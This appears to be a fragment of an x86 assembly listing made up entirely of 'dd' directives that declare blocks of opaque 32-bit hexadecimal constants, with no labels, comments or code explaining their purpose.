dd 0E50B364Ah, 77C5A35Ch, 307407B6h, 5E5AF963h, 9BB610A0h
dd 92404174h, 0DE3B9A53h, 0E603456Ch, 85165D01h, 0D7452E29h
dd 4C51B9ADh, 17E4A92h, 0D6BAEF66h, 0A82A8230h, 0FAFA7C9Ch
dd 80C1DADBh, 9885290Fh, 0ADB5E937h, 7D8C8139h, 0E39D2755h
dd 959ED561h, 773666CBh, 1A2292FEh, 536C6252h, 0F7A980F1h
dd 3945AFBFh, 2FDFAB53h, 478EFF12h, 4114583Ah, 1465165Fh
dd 80C3D297h, 0FB5AF1Bh, 0D665AF8Eh, 8C5C8FCDh, 0B25AA869h
dd 0EB28E799h, 0C5E95EFh, 13642B76h, 0D199128Bh, 2DB8A275h
dd 5732AB58h, 0F43052A0h, 8EAA2AFDh, 0FC1DB7Ah, 7E233F40h
dd 0D3179450h, 1E310119h, 4A195816h, 5046E9F1h, 8DE8ADC9h
dd 0FEC983EBh, 2A11D22Bh, 0A74A61D3h, 0FDEAFD47h, 0BD1B4D48h
dd 18A41059h, 84AE99B6h, 0EBBF48D9h, 6834E9D4h, 149E5B9h
dd 76306ABEh, 0C8ABF51Ah, 4CFC468Bh, 2A2DBDC2h, 13221085h
dd 0FC5FD85Dh, 0DFA31C40h, 7297EA1Fh, 4E7712E9h, 0AC9002A8h
dd 26758DEBh, 2CA02AEAh, 6FAA2FA0h, 7D75F36Eh, 4A545230h
dd 8849B1B4h, 0F1053DD1h, 733091F4h, 447BE8D1h, 0DF32A818h
dd 0B3439ACAh, 7E6DEF2Dh, 51E257E4h, 0C4CBB6C2h, 4FAD7B06h
dd 2FD7621Dh, 0BE65B092h, 0CE6F7C3Fh, 0AF1C1CC3h, 0A2CF739Bh
dd 84DEEA7Ch, 11B4B334h, 60DD7094h, 83D5F2DAh, 0F9261CD3h
dd 0C66A7AD6h, 498FFFBAh, 0EA078144h, 6B18A3E6h, 5F9D5DB0h
dd 7B55FA1h, 57521505h, 0F1077BE8h, 0AE47225h, 98CF7DEEh
dd 8F2D917Bh, 722031CCh, 2669D624h, 30B246BAh, 1DD816EAh
dd 0C5074414h, 0ACF53F5Dh, 836D1B23h, 0CFD78AEh, 67BB1AEFh
dd 9E3016E2h, 0CE3DA7EAh, 0DD9F91A8h, 3E026C39h, 2D8AFE27h
dd 0CA884361h, 669E4D8Ch, 3FD4472Ah, 3B1CAFAh, 0E0F34C4Dh
dd 60A155D1h, 5DFA9DB5h, 0C273BFACh, 693945C0h, 0F00FEC48h
dd 3DC69955h, 1E123B5Eh, 0EDF3E2D4h, 0DB9E6BCEh, 65975102h
dd 2566118Dh, 557BB2F5h, 0DA4ABA1Fh, 28A34E4Dh, 827C88B6h
dd 0B55E917Ch, 0C554F13Eh, 6B3D2C99h, 2ED03F44h, 9A5842CEh
dd 5D7B2605h, 3DDF8248h, 0D4EA4AD1h, 0D0482FD5h, 59A0C385h
dd 0A4F47563h, 8CC2C2EBh, 31EBD97Bh, 0E1A00DA7h, 0A43F609Ah
dd 2BD710AAh, 0C23C8481h, 35B901D3h, 21453FA6h, 0C54C663Bh
dd 5FCD1D63h, 0D8557BB4h, 0EE6738CEh, 1FC25B65h, 2F332888h
dd 2B908D68h, 0D2B21A6Ch, 78DEC4FAh, 800DDFE3h, 0F14E0F2Ch
dd 80D0E8E5h, 6B2F3CB0h, 90839CFAh, 1BC6228Ch, 80F2A709h
dd 0CA903DA9h, 0D3CDF738h, 0D8AC183Dh, 3515DF2Dh, 35665DBDh
dd 0FAFF77C6h, 66C7D6F9h, 487B13C4h, 1287DBE9h, 2E503280h
dd 0F1060778h, 0F98B1DD4h, 26C5BE6Eh, 292173ECh, 0D896E103h
dd 0BA9AD47Eh, 0E6AC5EA1h, 0A1B5D982h, 8507142Ah, 2216834h
dd 89C5E49Bh, 462F9D38h, 9A21E4BDh, 58138F91h, 7BCD271Bh
dd 0F6A1DC01h, 90CF06C8h, 8EB86C80h, 2B2CA37Eh, 9F1ED925h
dd 0E581602Eh, 7C7B1831h, 805C9DCDh, 1E2EB08Ah, 0A5989A35h
dd 3C71B033h, 31B92124h, 2419A9A1h, 526F29h, 0D4A2569Ch
dd 52B85D6Dh, 0D5838768h, 21EB0B8Eh, 0BDDD440Eh, 37B7AFC5h
dd 696748Eh, 82FF0106h, 6A29FFB7h, 4F3F508Dh, 0B876618Dh
dd 0A1377057h, 74C1BA7Fh, 0F971772Ah, 11555484h, 5A046A9Dh
dd 28CB65ECh, 74BA75C5h, 65C08D57h, 5EC934FEh, 6612730Bh
dd 1FDFFBE6h, 9AD6A96Fh, 1D8F1CC1h, 0A2CA7747h, 299F51Bh
dd 0DE8F9E62h, 0AA29EA87h, 0C74B09h, 36FD29E5h, 0AF88E191h
dd 9B1DE92Dh, 0DBE462B4h, 7A0EC13Bh, 842EF3BDh, 663EB085h
dd 0D5F8EC67h, 0F41FFC7Ch, 404EF267h, 0C984990Fh, 5B5AAAF5h
dd 3AC64F7h, 2CEB6F42h, 0F689ADE5h, 0ABE40170h, 0E9796C94h
dd 45748B0Fh, 86D28D7Ah, 84FC0039h, 0AA6BD38Eh, 973DC696h
dd 511F93B8h, 45A3FB49h, 0B84B56FAh, 0B227B934h, 3BD76804h
dd 0DC7E7D85h, 0B5F157ECh, 0AA6A4914h, 0F3995C59h, 75FE7827h
dd 7652C07Dh, 0D0C07DAFh, 0B1669327h, 0CE59CEB2h, 0B9F88AE1h
dd 690A0248h, 0D4D11A75h, 0F3B8AAB0h, 49BEE1Dh, 4D31C4Ah
dd 781907B4h, 172CD03Dh, 603EBE06h, 7F77EEA8h, 5B28637Ch
dd 0D40E5045h, 585C6CBEh, 0DF922391h, 0DA642A7Ch, 0F0490B90h
dd 0ACBE8A74h, 882C927h, 0C65DFA0Fh, 5068185Dh, 2578077Ch
dd 16D1D02Bh, 1E6F67Ah, 0D944CF2h, 862E5290h, 0CBE0C296h
dd 390181F8h, 3FDEF3FBh, 81EBB599h, 2D170351h, 279CD84Fh
dd 0AE2D0E8Ch, 98B2C55Fh, 792FD339h, 364799E5h, 37DD8885h
dd 0ABCBD20Fh, 0E31F918Fh, 0B3C97745h, 6451A543h, 0DDA299F0h
dd 8250D03h, 0C8805E81h, 4BF640EEh, 0A208E322h, 9323A180h
dd 0A039FD2Ah, 880027Ch, 0B4AAAB22h, 0DA49298Dh, 0FBC52EB4h
dd 19C78FB8h, 0F84695FDh, 637A1817h, 3C9E5A11h, 1ED97153h
dd 1368E067h, 2C357EA3h, 2B76E738h, 9DD624ECh, 0C391A334h
dd 646A7075h, 8E32E895h, 453B26F9h, 0D3C5FB04h, 0E11C946h
dd 607F93B1h, 7B2DAF11h, 0F3BD7B68h, 73690BEDh, 0C24767B2h
dd 4F3538F9h, 0B81AF128h, 1449A467h, 21A2C77Eh, 0E3B36866h
dd 2A3CB18Fh, 6316B73Dh
dd 6083F79Dh, 4CBDACC4h, 5979260Ah, 0FB37AA7Ah, 0AD919663h
dd 722DAE36h, 49A7111Ah, 0E16738A2h, 280A7E1Fh, 0C535A9FBh
dd 0EB7B25D7h, 0F8DE7EDFh, 63330C7Eh, 0FC210BC0h, 3D11DA81h
dd 0C47A8D45h, 0EE237B53h, 217E0E2Ch, 4701BF6Ch, 4022A2A1h
dd 1BD9E672h, 0DC406DA3h, 5131D2Bh, 8C39B4E9h, 8235F649h
dd 0A091545Ch, 951D2407h, 4CA8D115h, 0B9691F6Eh, 0B5869314h
dd 22471C78h, 6EC8C3C1h, 945828A5h, 0A72994C6h, 8FFF8C93h
dd 7046A4D0h, 6EC99A86h, 84C79C98h, 0BB40C7F2h, 603BBAB5h
dd 10109691h, 9C12430Fh, 2DA732B3h, 0C3E11021h, 210483F6h
dd 7C38EB1Dh, 9D7EEB55h, 0C7F76567h, 42DE67C9h, 0B9997C38h
dd 9FC2E791h, 3F01ADA5h, 25EC06E9h, 0B100DC01h, 0B41FCEC3h
dd 1DF769DAh, 49BCA750h, 2E37F8F3h, 0EADCC02Fh, 92F202F0h
dd 0F78FB9A3h, 39830B14h, 0C3D1DE26h, 0F79B3FF3h, 37E78425h
dd 64579D79h, 40DF6D9Fh, 0AAA33B14h, 998CF14h, 4C4362DDh
dd 8A06FD06h, 2924F5A8h, 0C73C8B13h, 0E40F1742h, 77EB1F23h
dd 0CF0BB439h, 6BA3D48Eh, 9926B9F4h, 7CBD8649h, 0FB9F5564h
dd 10BE6DE4h, 0CFEE8192h, 1E3EDBF1h, 8D4416FFh, 0CF848A12h
dd 6A94B26Dh, 5F118C36h, 596FCEF0h, 4825374h, 0F92A075Ch
dd 74A427B8h, 0C999A6E1h, 0DE392119h, 66E39A43h, 0CD3B99A0h
dd 9B0AA497h, 85BB540Fh, 59B052D3h, 1D086BEAh, 646F4EF3h
dd 0F40B9256h, 19E38422h, 279BC4CCh, 7A9D8F6Eh, 38179EB4h
dd 8A9642BEh, 0E2D703C0h, 0B5085C67h, 1CE9EC7Fh, 0C4CBBBEBh
dd 3630A49Ah, 3860A9E5h, 53E090BFh, 8D028267h, 0C57D35CBh
dd 0D61C6FE0h, 0B9C7A80h, 0A4421E2Bh, 5DBC52F2h, 40681682h
dd 75486ABCh, 3A1EB5BFh, 612CF6B4h, 0CDDD1222h, 4B00B39Ah
dd 0A32FFABDh, 78E2F0Ah, 742B6236h, 88EB69FAh, 20376DFFh
dd 0FCD5E13Bh, 0FCB8ECA5h, 3AD405B5h, 0B2F74090h, 58AF83E0h
dd 8E7DDB02h, 3D345B50h, 0B761D962h, 8CDF10E2h, 0CBB6EF23h
dd 0C6B39EFBh, 0F787F519h, 0D67DB252h, 0B2A3EF8h, 0BAD01771h
dd 0ACB5A88Ch, 0E04230Fh, 0F65C44ADh, 0B1EF2091h, 0FECA5D2Ah
dd 0FB58589h, 9E32CD4Ch, 0C405BF4Fh, 420A3575h, 783C1036h
dd 0A9BD4E34h, 83A3D7AAh, 0DA43E455h, 29B0AF3Bh, 27ADB271h
dd 63858743h, 0F2C5426Eh, 1B6DD9F0h, 0C23F2C54h, 0B0F19DFFh
dd 0CF46A181h, 1DF01AF1h, 0BF689048h, 0CD28651Eh, 0C1D0207Dh
dd 9CB47E4Bh, 0B77DCE3Dh, 62AE68AFh, 52CFDE7h, 6B7A9518h
dd 0CA5F176Ah, 0A5A9C83Eh, 4E6E3557h, 0B93435B7h, 369AC19Bh
dd 5B3E65ACh, 7771F318h, 194A08B3h, 0FA819FC9h, 1D2B817Fh
dd 6BAE000h, 0F3897EB7h, 12DAF0A2h, 75866C94h, 0F8562FD3h
dd 3DB3A22Fh, 86E40623h, 70DA9EF7h, 0E2F163B2h, 0AAE1687Ch
dd 0A0FB2914h, 344141C1h, 1F1F58B0h, 0E3A55CB9h, 792FD7C1h
dd 0C1CCC54Ah, 120954D0h, 0C96D16D4h, 81F87D84h, 0C62E0059h
dd 69B15377h, 79515A73h, 0B3D5664Ch, 291540DCh, 0D7D3CD0Ah
dd 5C6E8CFFh, 6730C24Bh, 0A7D7FA07h, 0D5AEE461h, 90368AC4h
dd 11D430C1h, 7E85953Ah, 0E309939Ah, 2A612606h, 0E833EF43h
dd 96023224h, 1BB7D753h, 3C61B920h, 45F3EDC4h, 0F110A40Dh
dd 0B5A5B4E1h, 2A524B1Bh, 2242596Dh, 9EA9DD80h, 528EB8CEh
dd 421564BBh, 0D1D77598h, 1627F622h, 537C70Dh, 4EE4C3F0h
dd 868C7DD1h, 4F85E0D2h, 0E1267110h, 0ED2164F5h, 5171A782h
dd 2FA99722h, 46EB5606h, 81EF8CD1h, 88DF475Ah, 0CD335AE4h
dd 0EEE37B29h, 0AA528457h, 1B2AC872h, 963685CFh, 0B64EA3EEh
dd 5293C0FAh, 9A306048h, 195DE3CFh, 88AC64A8h, 1D539526h
dd 5530B347h, 7DE36069h, 7804721Eh, 0A5AC63F3h, 19D33F71h
dd 0FD0C7E5Ch, 55E6166Ah, 43E1793Eh, 8EA6AF06h, 0E2A83003h
dd 0B477E245h, 6D80470Fh, 125CE466h, 11EE94BCh, 0D10402A5h
dd 0AC78FBC4h, 0D5D50E8Dh, 0C62EF54h, 0BA741369h, 9DD38370h
dd 0D98C2497h, 0F8EA96Dh, 1E68C300h, 0AFE4F03Ch, 0F35DEAD9h
dd 0B4272ADh, 856C359Ch, 0D7E5CA9Bh, 834A703Bh, 84B3EC1Ch
dd 99EC8F54h, 188F5AC9h, 0AB3BB36Dh, 288844CDh, 112679CCh
dd 2AE9A46Fh, 432B91C4h, 0E503D5D2h, 292D872Ah, 39EF07D7h
dd 0ACB6645Ch, 1351584Dh, 0D27B480Ch, 113D5A97h, 0D8F43B6Ah
dd 7D4B176Dh, 0C098CE0Ch, 4984E390h, 6EDAE430h, 71965E0Dh
dd 945B4DA1h, 51867B04h, 0B60AAC88h, 969ABBF0h, 4246CA73h
dd 926496B9h, 0B51ABBF3h, 0E17AE778h, 18CF3A45h, 83EFC468h
dd 5C56C97h, 45AAEEDh, 0B4026445h, 0C0893CD2h, 4AE5E670h
dd 0D1924846h, 0FF72A9F9h, 0C409EDF4h, 60E669B2h, 0D3A6EFC8h
dd 8811C5FCh, 583B8151h, 3073516Bh, 0B7390302h, 0F9FB534Eh
dd 0AE6EFB89h, 5FFB6FA2h, 0B5DE00E8h, 0AF01F7AFh, 0A43C63AAh
dd 7E1D7195h, 6FB5B178h, 6B8C6DB3h, 0E49A86A7h, 27EC8520h
dd 27154E8Fh, 9FF92F3h, 934CCF4Eh, 5492C87Eh, 2533D1E9h
dd 0D16BB629h, 9E43D293h, 82D172AEh, 0B20E73BFh, 9EADAFD6h
dd 6004B53Bh, 0A45F1C2Bh, 1C214A06h, 0B14E0EBCh, 685BA33Fh
dd 7521CAC4h, 8B967009h, 9B48798Bh, 0D1C3CF6Fh, 6F8AE868h
dd 5B40E807h, 0B115B90Dh, 0F18A4573h, 0EA265290h, 0E2A98A5Dh
dd 56A0FD81h, 0CE222FA1h, 0C4084CC1h, 4DAFFEBDh, 1B39B43Eh
dd 0ADC9A21Fh, 0ADE8A554h, 0D3FCA3BAh, 0E7B807F9h, 63CD7F0Dh
dd 525569ACh, 2A968B34h, 37FAF66h, 4FCF253Ch, 0CB910FDDh
dd 7640EBF1h, 1155297Ah, 9CA832F1h, 8191D958h, 0BEB68BD7h
dd 210945C7h, 5766779Eh, 0D136C18Dh, 29463190h, 8CF18361h
dd 103C878h, 0E9B2129Ah, 0AEFD5E70h, 1EE21527h, 0CEE0073h
dd 19C3DEF6h, 6D7856A4h, 0AABB7C93h, 15D32DE8h, 0B2A42409h
dd 343D073Bh, 21B50A33h, 8D02757Ch, 7690B525h, 80D6CA5Ah
dd 98C17F8Eh, 8C0A95D0h, 0D9D2D672h, 5D9EB6D3h, 0BB8AEDA7h
dd 9748C908h, 57034E8Ch, 0EDB1E386h, 0F861E2h, 0E656E80Dh
dd 0FBDA3311h, 2D310EC6h, 47F9D321h, 0FF66CD1Fh, 4B56CE58h
dd 0A61AF6A0h, 0CE586B14h, 0DA84B709h, 70BF16CBh, 3F36A991h
dd 0E82504F3h, 59B1CA82h, 0C155A56Eh, 0B1C96CADh, 6BBDAA97h
dd 722CC56Ch, 7D56AF6Bh, 0E7F48AC3h, 0DA7CA28Ch, 0DD22C7C9h
dd 840175E3h, 53F9BDEDh, 9C49D203h, 97BB8674h, 415ABB5h
dd 2D5B4369h, 0C5D672CFh, 1ADC375Eh, 5F937248h, 0F3036EABh
dd 75607616h, 75F91CB2h, 81F29316h, 0AC2DEA3Ch, 3D23906Ch
dd 0AEDB8775h, 3B3D324Eh, 4DD8F700h, 0B4C040D4h, 49F8C56Eh
dd 8D2C320Dh, 5DD82FE2h, 147391EFh, 0F6367273h, 9746673h
dd 792765DDh, 4652C791h, 45D3DD1Ch, 7DD636E1h, 544D7BACh
dd 49652E45h, 15EBB0Eh, 5510B3CEh, 8071A641h, 2A902571h
dd 0CBA1070h, 0D765B818h, 0B9522189h, 3226196Ah, 0CAA316FFh
dd 4ADE97Ch, 0C2CBDB70h, 72954E97h, 2D1DD21h, 43E69DDh
dd 14ED2934h, 103EB9E4h, 7C1F81EDh, 0F8F929E6h, 2AA6FAE2h
dd 0B0053BD5h, 6C938C68h, 9C50F36h, 83C99648h, 6C25ECDAh
dd 0C2B4F656h, 2CCEA577h, 7F966EAFh, 93528A92h, 41D55643h
dd 2AA1B9BFh, 72C0948Dh, 0F7EE392Bh, 7BB7E15h, 5723FDCEh
dd 3DA5EF12h, 4A989FABh, 204D0195h, 40A74A31h, 70239D9h
dd 3E200314h, 6503F627h, 3F9E0B32h, 3188F92Ah, 0FBD79665h
dd 0E04D9F3h, 0E7236743h
dd 169BC128h, 9C50D173h, 2A6F422Dh, 0A471FDEDh, 1628EF0Dh
dd 0F1C7B2AFh, 5C5216C1h, 0EEB64CA7h, 0A572D661h, 58D16055h
dd 9BDBCF2Bh, 0BCC44FB9h, 32E0F6EEh, 61A82FFEh, 5F0F2432h
dd 0A172B0A0h, 753374C1h, 0FE856DACh, 95D4D3CAh, 0E160174Ch
dd 1117FBF2h, 0F96DF933h, 0A516008Dh, 255270B0h, 0B62DA0ADh
dd 768FEFAh, 5EC1478Eh, 14B36EB4h, 3327F891h, 901E7571h
dd 4040B031h, 5632B3B3h, 0F7B4AE9Fh, 0C2860CADh, 5877356Dh
dd 1BBBFA7Ch, 571A4834h, 38FEE444h, 8D77F371h, 7822EE92h
dd 622CEF44h, 0B9E3DC7Bh, 4E3FCB4h, 0EC019BE5h, 1B36DFAFh
dd 95C3AD82h, 20FAB6D3h, 9F221DF1h, 97E99FE2h, 0F5903AD1h
dd 539F290Ch, 22C3703Eh, 0DAD3FCC3h, 0E0783860h, 21548D9Fh
dd 7CCC75F5h, 0AC232953h, 0D04F14EEh, 0C875CE59h, 0BE8315CCh
dd 0DF0F96Dh, 8824A49Ah, 2AC281CAh, 46C714CAh, 493A4291h
dd 0E046499Bh, 0EF8409C6h, 0D669EFDCh, 7505C816h, 0E6FDBC22h
dd 0F13940C6h, 94804E3h, 74807B5Dh, 205899D9h, 0B4292B44h
dd 2A68A5F5h, 0A2578CD9h, 0DD045AD0h, 59958C40h, 6B9AF610h
dd 0EB7B5D4h, 44DE7F3Eh, 5F2733C8h, 0C3863A33h, 0CC066ECEh
dd 358DEE76h, 0CD9FEE1Ah, 794807C1h, 4477F2Fh, 0A6F0078Ch
dd 8B857D32h, 624E714Fh, 5217D49Eh, 0DDDD605Eh, 6842794h
dd 509365F9h, 0B54315F9h, 1C13EEDh, 7C1BFE65h, 358A0BE3h
dd 25021CB5h, 86B91A0Eh, 0DCE76A64h, 5DC938B8h, 64EA25FFh
dd 8EA8A696h, 99451023h, 0DA96B617h, 8B8F73E8h, 5F8FE826h
dd 391EC2ACh, 0D20329A7h, 0BD927E19h, 9D077A94h, 88EADE5Fh
dd 93E1FC4Bh, 0AD018F94h, 7077CBA8h, 0F883FE6Dh, 0BFF555ABh
dd 0E214877h, 3B714DE0h, 0EA2F62CFh, 743D75EBh, 0D35F5FE9h
dd 0ABE9B417h, 9795EA4Dh, 0F0D8AF7Bh, 0B3628270h, 0BFCC670Ah
dd 534E2CEh, 0EDBEFEE3h, 7B50C6BEh, 932E79Ch, 32E7C7B4h
dd 0A64E5D51h, 9C00CC1Ch, 2F77126h, 0E8DDE728h, 965030FEh
dd 821E46D2h, 72859B90h, 68C9F9B3h, 339BCBD7h, 67AA7844h
dd 7DAD8E3Fh, 4E563E19h, 6FA460D9h, 450C4487h, 3B80BE09h
dd 9B13F3CCh, 0C65F3A7h, 665226BAh, 0F9AADF92h, 0D8385521h
dd 0B3F84F59h, 0D8257549h, 0E20C2581h, 0F8E48D3Dh, 0D052D438h
dd 0EDC8A378h, 7FCD14B4h, 9D73022h, 2371B4BDh, 309ECF53h
dd 71C03BCBh, 0DA430B8Bh, 1E0FE8Dh, 0EC118CDBh, 4931854Ch
dd 1F6B80FAh, 84B195FAh, 0FDA8B594h, 97B08C1Ch, 0DC69ADE5h
dd 95B29090h, 0E017D0B1h, 977DECFDh, 7E6FFFA5h, 0FA2C4A72h
dd 0DD325660h, 6815F93Ah, 8A7FBC3Dh, 611A9615h, 0AA05AC84h
dd 44E58A5Ch, 5F62D1D1h, 582D3741h, 0D29DD066h, 8721257Ah
dd 20A7D530h, 18E23C21h, 94BC2C0h, 0F4F9D33Ah, 780D4553h
dd 0CA44D464h, 25101B2Ch, 331E48E1h, 35C01724h, 12A1E95Fh
dd 9123F943h, 68CA437Bh, 564CD5C1h, 84BFC9B4h, 0B6BFEF16h
dd 6D714CCBh, 0FDC8CB08h, 0AEFB2E1Ch, 40104598h, 4DA572A0h
dd 0A980BC4Ch, 0EECA913Ch, 3D6577E6h, 0F52EC57Ah, 86822842h
dd 99F6CEBEh, 0AE09FCEAh, 2BF2D4AFh, 0BD76A9C8h, 8DC0636Eh
dd 0EF714A3h, 0DEDFE0FAh, 0AB27371Ch, 0E39DCB93h, 13CAB31h
dd 9A82D78Ch, 7D9C1481h, 492C29B0h, 102917FDh, 0BAC5DDC2h
dd 0C2EB7FDBh, 0A34E502Dh, 59A16F02h, 0D9A2310Fh, 21019D20h
dd 2A402816h, 0AD77C062h, 5F554098h, 3F557250h, 0DFD5998h
dd 75567408h, 7C81974Ah, 0B42FA71Eh, 0C4C9BCE9h, 670B69CEh
dd 1194CEEAh, 0FE5BEE82h, 981EA4h, 0BCA5C76Eh, 70CCFD85h
dd 8D1164FCh, 51C3DA97h, 72F37546h, 0CB572338h, 0CFE986D8h
dd 0FC49A122h, 701AC25Fh, 42187D25h, 0C37D2F48h, 0B8855C23h
dd 4B263E9h, 0C31FBC9Ch, 8AB1F87Fh, 0C1E0E190h, 0EE8CE560h
dd 2141756Fh, 0DDC9A377h, 0B617C890h, 79CC4B83h, 0A6F3D670h
dd 8CEFD76Bh, 75B61FD4h, 481FA420h, 0CAFA34A5h, 4D8C1F8Fh
dd 7EFE6492h, 0C2DC18E9h, 0C726120Eh, 0DFDB3A59h, 0F24F616Eh
dd 0C72775A0h, 5C894A3Dh, 30C0CD9Ah, 0B8D9BD1h, 2E290436h
dd 0C4B0E0A9h, 9CB34B67h, 0E5543B43h, 7974B66h, 2486762h
dd 0E2ABD775h, 0F0441AC5h, 0D0B5F2BFh, 95C859C3h, 633F460Bh
dd 4FFCDF14h, 0E86D0193h, 3F0DF10Ah, 0BC8BF80Bh, 0B397B639h
dd 5A79155Dh, 420F91D3h, 89F8100Fh, 0F5A5BB15h, 0F02D01B6h
dd 6DABB263h, 0EA3A1F06h, 58D67619h, 4EA8C237h, 7FF0C581h
dd 0E1A69C9Ah, 56B4A905h, 2EE18DB4h, 5A8E7532h, 0FC196ED6h
dd 9626512Dh, 0BB95A1A9h, 0D268405Eh, 59C98656h, 0DC7F2B9Fh
dd 0C85C5658h, 9B76CCBBh, 38540165h, 7805FA6Fh, 0AE936E9Dh
dd 5AD61A8Bh, 0FF3090C6h, 53836E52h, 27FC6E91h, 4E70A1E2h
dd 0FB42FDC4h, 5EE6F325h, 1B42B304h, 987AB390h, 0E92EECBBh
dd 5CF1DE20h, 96F909E3h, 0C7E2855Ch, 8C21CBB8h, 6BD4BD07h
dd 5586F835h, 0B7848049h, 0D631141Ch, 181D096h, 9F877360h
dd 0FE3CB23Fh, 66ABF05Ch, 986D6327h, 3409801Bh, 338170CAh
dd 0FEE931Ch, 7F843E24h, 0F82C27CCh, 0DE5C88EAh, 80722B3Dh
dd 72452A1Ch, 6667BC70h, 62A4020Eh, 0FCFFDC88h, 6C4838A5h
dd 0FE6EBF53h, 0FE972EDDh, 0CD389BD5h, 925895B9h, 5C4E0878h
dd 7D641700h, 0D4960BDBh, 83248446h, 97179AC5h, 4F285A62h
dd 58BD7C87h, 0A0BAE984h, 0CEC1ADEDh, 0B960F454h, 9A130B30h
dd 6FCE4BFAh, 7625BA81h, 0F95587BFh, 8299FD57h, 3FC1FC65h
dd 0C78A30Bh, 0A018FECCh, 2D8657CFh, 0BD0D31B0h, 0DAAC7F7Eh
dd 13100735h, 747926D0h, 4056F131h, 24CF4D2Ch, 615242C8h
dd 84ECD51Ah, 7724E3D5h, 0E7907B83h, 5BC579BCh, 0E5DF6D39h
dd 7C353A0Fh, 38166F44h, 0EEF06EE8h, 0A1B1A7FEh, 0D5676B6Ch
dd 1CA7A6CCh, 97B3D4F5h, 0E9E8A64Ah, 7FF363Ah, 0C0F26AC5h
dd 644154Dh, 89FFD101h, 0C4B6356Fh, 79917A8h, 0F4180692h
dd 0CE21589Bh, 0A9537A7h, 4B88D025h, 27ACA4A6h, 0A5D4E55Dh
dd 96683A32h, 0BA14018h, 5664E93h, 39B66824h, 0AA89AA7Bh
dd 8052717Ch, 83011A95h, 0E7D14D23h, 66ADAB93h, 835ED5F1h
dd 0F76C83Bh, 3FB85402h, 793BF12Dh, 97514D42h, 9F0C8D0Bh
dd 5BB6CD54h, 0CDD6CEBBh, 639F7DF6h, 51B3CF9Ch, 1F750BE0h
dd 82DB173Ah, 0A47C6544h, 0E3C5F714h, 0B5C34409h, 73B2A345h
dd 6D1978B9h, 6F3DEE5Bh, 55F6A8E7h, 0E0875D20h, 8E717070h
dd 12570E72h, 0F7F3E2B4h, 56E34882h, 0BB1E3ACCh, 6EF6928Ah
dd 0A3D6E501h, 2279F8F8h, 0CA2D80DEh, 5188424Fh, 0FB3B2B80h
dd 8377CB26h, 853E24C4h, 0F3B62B5Dh, 0E4431425h, 25471CA8h
dd 1F4988E6h, 0A7C32514h, 0DC094F70h, 2F777508h, 0F817DE01h
dd 5B74369Bh, 0C0AFD9ABh, 7E826D1Bh, 0AB7F6FFh, 0F4037114h
dd 79E41EB8h, 36A26D53h, 2F9BE73Dh, 0DFBFB452h, 68916258h
dd 0D58B5D06h, 4D4F024Bh, 3D711EA5h, 0A4D7425Dh, 0AC06FA09h
dd 0EB600A89h, 4079AF64h, 2BA47D19h, 0AFC77CC2h, 9D71A6F7h
dd 493632C6h, 0DBD346D2h, 0AE7BD729h, 33CAB975h, 19004D5h
dd 32FBA69Fh, 507F2D16h, 0A78F1A29h, 0C1544B4Ah, 0B3398FEAh
dd 34B25FC4h, 0B4331611h, 4770CD94h, 945AAB5Bh, 886BAC8Eh
dd 8457CE93h, 36E39FF2h, 0FF890DADh, 1D10451Ah, 0C7C7ED68h
dd 783E5DDBh, 3D7BFE9Ah, 4FD934FCh, 58B9AE22h, 294DD885h
dd 8A7A7F56h, 11C901Fh
dd 19257ABEh, 277BC66Ch, 0C882FD3Fh, 0ABF6A0D5h, 5B75F18Fh
dd 699F9253h, 9A698F1Fh, 0B922D229h, 3B555590h, 3AAD8348h
dd 0ECC4C755h, 10AAC12h, 0E82EE92Dh, 7C676404h, 0B269A534h
dd 575E282Fh, 3765D219h, 0B33CA47Ah, 86719B5Bh, 0D9D3F231h
dd 0E9AA2056h, 103F0B2h, 0AE381859h, 0F2CCA9B1h, 8564BBB8h
dd 8F0B5156h, 0CB489BD0h, 3C57E95Ch, 0E1ED829Ah, 0B289ED6Eh
dd 321ECAB6h, 8F6DDACEh, 0A7542753h, 932EA240h, 0B412D39Dh
dd 61613FFBh, 85B47566h, 0EAEF5BDCh, 0DC3AEC92h, 0EB2975F4h
dd 13376F00h, 1E288D38h, 24653C22h, 0F1E21380h, 84FE283Ah
dd 0DAA252B9h, 99CCA856h, 0BE35DDEAh, 0F9273BE6h, 6F5EB0E2h
dd 0FB7B60D5h, 9DC6A199h, 8CE76A8Eh, 0A247B71h, 505B38BFh
dd 55F44E15h, 30974A0Eh, 0CB5B0227h, 65C15E34h, 2874ABD6h
dd 49C94BEh, 49268656h, 6D2D77D6h, 0AB229702h, 0A967447Bh
dd 77479F9Bh, 0DD5C0277h, 2782F8B6h, 0E2C95453h, 4BF9B01Ch
dd 2AA30271h, 91735C85h, 0CBE951B4h, 6D007A92h, 8B3CA5BEh
dd 1C816603h, 6A963A22h, 97C4F816h, 25187ABCh, 7560BDEEh
dd 849A2274h, 183DE7E8h, 7FF24844h, 0A4394BECh, 0B694E6ADh
dd 87B15E6Bh, 0ECD4E33Dh, 0E0616C54h, 7EC9466Dh, 0C2CD1DAh
dd 0ACFFBA6Eh, 0D9A8BE7Ah, 0B317B1D9h, 7F6A23CBh, 3A7B0A88h
dd 0F9C3457Eh, 0FAC7667Eh, 69F70E13h, 59E07B98h, 8C04F900h
dd 0DF22878Bh, 0B36A1E07h, 1D31E2D5h, 3FA7554Ch, 21722AFh
dd 0A830727Bh, 98A5B5C7h, 0E95ADFBh, 46CE868h, 1CBF2321h
dd 94491FC8h, 0A663E213h, 454C7E20h, 0DB258E37h, 0F8C2FCADh
dd 87756D42h, 2E9FBB0Ah, 4F540ABAh, 8F61BCCDh, 0AF8C97B1h
dd 8C8AE7BBh, 3F89A3B5h, 0BB01027Fh, 42F51D4Bh, 42F61F76h
dd 960FF598h, 0FC203057h, 9823A86Eh, 1CE5DEC0h, 3395D7DAh
dd 84C4D3F6h, 0E9370E2Ah, 9489AB95h, 76080976h, 0CBD6450h
dd 0CF2DC778h, 35A89AEDh, 71762359h, 4B188C6Fh, 32DA175Dh
dd 0E9AD92A9h, 0C20DE5C5h, 9AB89FE5h, 4F1EE516h, 2836369Ah
dd 0B5B7B9F2h, 7156385Bh, 2E8841B8h, 0B0CE8C82h, 7315AD96h
dd 30CFBA76h, 38E21145h, 6A71EE31h, 0E768C345h, 3A3DA959h
dd 0FC21B7FDh, 8567C6BFh, 7F37CA85h, 0BFCBAAFBh, 620092A7h
dd 0BEBA0301h, 75C269CEh, 7745E405h, 8AAAE6CDh, 0F7A7A1B9h
dd 0D7EBBC1Ch, 26D932B5h, 199FB15Eh, 5FB47915h, 3FA641B9h
